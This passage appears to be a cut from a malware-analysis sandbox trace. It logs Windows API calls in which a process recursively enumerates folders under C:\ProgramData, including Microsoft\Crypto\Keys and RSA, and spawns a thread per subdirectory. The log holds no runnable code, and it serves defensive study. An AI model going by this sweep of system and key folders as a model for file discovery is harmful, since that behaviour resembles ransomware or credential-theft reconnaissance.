ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.068] wcscmp (_String1=".", _String2=".") returned 0 [0046.068] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.068] wcscmp (_String1="..", _String2=".") returned 1 [0046.068] wcscmp (_String1="..", _String2="..") returned 0 [0046.068] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0046.068] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0046.068] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0046.068] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0046.068] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0046.068] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0046.069] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0046.069] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.069] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0046.069] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449fb0) returned 1 [0046.069] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a010) returned 1 Thread: id = 145 os_tid = 0x80c [0046.069] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x4028d0 [0046.069] wcscpy (in: _Dest=0x4028d0, _Source="C:\\ProgramData\\Adobe\\Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0046.070] wcscat (in: _Dest=0x4028d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\" [0046.070] wcscat (in: _Dest=0x4028d0, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\*" [0046.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.070] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a128 [0046.070] wcscmp (_String1=".", _String2=".") returned 0 [0046.070] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.070] wcscmp (_String1="..", _String2=".") returned 1 [0046.070] wcscmp (_String1="..", _String2="..") returned 0 [0046.070] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0046.070] wcscmp (_String1="10.0", _String2=".") returned 1 [0046.070] wcscmp (_String1="10.0", _String2="..") returned 1 [0046.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444b90 [0046.070] wcscpy (in: _Dest=0x444b90, _Source="C:\\ProgramData\\Adobe\\Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0046.070] wcscat (in: _Dest=0x444b90, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\" [0046.070] wcscat (in: _Dest=0x444b90, _Source="10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0046.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0046.071] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0046.071] FindClose (in: hFindFile=0x40a128 | out: hFindFile=0x40a128) returned 1 [0046.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0046.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0046.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402570) returned 1 Thread: id = 146 os_tid = 0x84c [0046.072] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x40a128 [0046.072] wcscpy (in: _Dest=0x40a128, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0046.072] wcscat (in: _Dest=0x40a128, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\" [0046.072] wcscat (in: _Dest=0x40a128, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\*") returned="C:\\ProgramData\\Adobe\\ARM\\*" [0046.072] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.072] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0046.073] wcscmp (_String1=".", _String2=".") returned 0 [0046.073] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.073] wcscmp (_String1="..", _String2=".") returned 1 [0046.073] wcscmp (_String1="..", _String2="..") returned 0 [0046.073] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0046.073] wcscmp (_String1="Reader_10.0.0", _String2=".") returned 1 [0046.073] wcscmp (_String1="Reader_10.0.0", _String2="..") returned 1 [0046.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414570 [0046.073] wcscpy (in: _Dest=0x414570, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0046.073] wcscat (in: _Dest=0x414570, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\" [0046.073] wcscat (in: _Dest=0x414570, _Source="Reader_10.0.0" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0046.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0046.074] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0046.074] FindClose (in: hFindFile=0x40a168 | out: hFindFile=0x40a168) returned 1 [0046.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0046.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a128) returned 1 [0046.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409a68) returned 1 Thread: id = 147 os_tid = 0x858 [0046.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4145c8 [0046.076] wcscpy (in: _Dest=0x4145c8, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0046.076] wcscat (in: _Dest=0x4145c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0046.076] wcscat (in: _Dest=0x4145c8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\*" [0046.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4262c0 [0046.076] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e28 [0049.687] wcscmp (_String1=".", _String2=".") returned 0 [0049.687] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.687] wcscmp (_String1="..", _String2=".") returned 1 [0049.687] wcscmp (_String1="..", _String2="..") returned 0 [0049.687] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0049.687] wcscmp (_String1="Client", _String2=".") returned 1 [0049.687] wcscmp (_String1="Client", _String2="..") returned 1 [0049.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a070 [0049.687] wcscpy (in: _Dest=0x44a070, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0049.687] wcscat (in: _Dest=0x44a070, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0049.687] wcscat (in: _Dest=0x44a070, _Source="Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0066.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0066.814] FindNextFileW (in: hFindFile=0x409e28, lpFindFileData=0x4262c0 | out: lpFindFileData=0x4262c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0066.814] FindClose (in: hFindFile=0x409e28 | out: hFindFile=0x409e28) returned 1 [0066.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4262c0) returned 1 [0066.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4145c8) returned 1 [0066.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444be0) returned 1 Thread: id = 148 os_tid = 0x864 [0046.077] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444b40 [0046.077] wcscpy (in: _Dest=0x444b40, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0046.077] wcscat (in: _Dest=0x444b40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0046.077] wcscat (in: _Dest=0x444b40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\*" [0046.077] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426528 [0046.077] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ba8 [0048.568] wcscmp (_String1=".", _String2=".") returned 0 [0048.568] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.568] wcscmp (_String1="..", _String2=".") returned 1 [0048.568] wcscmp (_String1="..", _String2="..") returned 0 [0048.568] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0048.568] wcscmp (_String1="DSS", _String2=".") returned 1 [0048.568] wcscmp (_String1="DSS", _String2="..") returned 1 [0048.568] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444af0 [0048.568] wcscpy (in: _Dest=0x444af0, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0048.568] wcscat (in: _Dest=0x444af0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0048.568] wcscat (in: _Dest=0x444af0, _Source="DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0048.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0048.939] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0048.939] wcscmp (_String1="Keys", _String2=".") returned 1 [0048.939] wcscmp (_String1="Keys", _String2="..") returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x4141a8 [0048.939] wcscpy (in: _Dest=0x4141a8, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0048.939] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0048.939] wcscat (in: _Dest=0x4141a8, _Source="Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0048.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4141a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0048.940] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0048.940] wcscmp (_String1="RSA", _String2=".") returned 1 [0048.940] wcscmp (_String1="RSA", _String2="..") returned 1 [0048.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444e10 [0048.940] wcscpy (in: _Dest=0x444e10, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0048.940] wcscat (in: _Dest=0x444e10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0048.940] wcscat (in: _Dest=0x444e10, _Source="RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0048.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0048.941] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0048.941] FindClose (in: hFindFile=0x409ba8 | out: hFindFile=0x409ba8) returned 1 [0048.941] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426528) returned 1 [0048.941] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b40) returned 1 [0048.941] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 Thread: id = 149 os_tid = 0x78c [0046.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414620 [0046.091] wcscpy (in: _Dest=0x414620, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0046.091] wcscat (in: _Dest=0x414620, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0046.091] wcscat (in: _Dest=0x414620, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\*" [0046.091] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426790 [0046.091] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3e8 [0049.758] wcscmp (_String1=".", _String2=".") returned 0 [0049.758] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.758] wcscmp (_String1="..", _String2=".") returned 1 [0049.758] wcscmp (_String1="..", _String2="..") returned 0 [0049.758] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x426790 | out: lpFindFileData=0x426790*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, 